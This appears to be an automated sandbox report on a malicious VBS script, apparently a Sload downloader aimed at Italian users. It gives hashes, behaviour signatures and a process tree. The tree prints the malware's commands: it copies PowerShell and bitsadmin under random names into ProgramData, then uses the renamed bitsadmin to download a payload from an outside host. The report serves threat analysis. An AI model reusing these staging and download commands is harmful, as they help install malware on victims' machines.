Analysis
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max time kernel
31s -
max time network
116s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
23-11-2020 13:04
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_Sload_Italy_vbs (19).vbs
Resource
win7v20201028
General
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Target
Allegato_Sload_Italy_vbs (19).vbs
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Size
5KB
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MD5
eb5129aca7687d3de32e25cc3a0fc643
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SHA1
857d8842c0424c7f7ad3dc1b76922e26fd6b94a7
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SHA256
31b24778ec52bcc726779fe314e6711ffefb2dcaea4342c2621f908327de71ae
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SHA512
534c8ea193e21679f24cee81fbf1a84490e867f2565aedac9032337036d2a9b9509f77924e29f091ffc360077e60d3e5489d28001c5ab0c04ba89a46453bc550
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
KNTnLqjin.exepid process 1992 KNTnLqjin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 9 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 3152 wrote to memory of 3184 3152 WScript.exe cmd.exe PID 3152 wrote to memory of 3184 3152 WScript.exe cmd.exe PID 3184 wrote to memory of 1208 3184 cmd.exe cmd.exe PID 3184 wrote to memory of 1208 3184 cmd.exe cmd.exe PID 3184 wrote to memory of 1656 3184 cmd.exe cmd.exe PID 3184 wrote to memory of 1656 3184 cmd.exe cmd.exe PID 3152 wrote to memory of 1992 3152 WScript.exe KNTnLqjin.exe PID 3152 wrote to memory of 1992 3152 WScript.exe KNTnLqjin.exe PID 3152 wrote to memory of 1992 3152 WScript.exe KNTnLqjin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (19).vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:3152 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zFTdML.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KNTnLqj*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:3184 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zFTdML.exe3⤵PID:1208
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KNTnLqj*.exe3⤵PID:1656
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C:\ProgramData\KNTnLqjin.exe"C:\ProgramData\KNTnLqjin.exe" /transfer qFPNoH /download https://owensii.com/werlopab/03824470284/it.png C:\Users\Admin\AppData\Roaming\it.png2⤵
- Executes dropped EXE
PID:1992
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
bc3fc615ded204ba43b3b5ee76e7aa32
SHA17295b2b245fe99eac5a597693b4388c38b50edca
SHA256452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889
SHA5127c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca
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MD5
bc3fc615ded204ba43b3b5ee76e7aa32
SHA17295b2b245fe99eac5a597693b4388c38b50edca
SHA256452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889
SHA5127c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca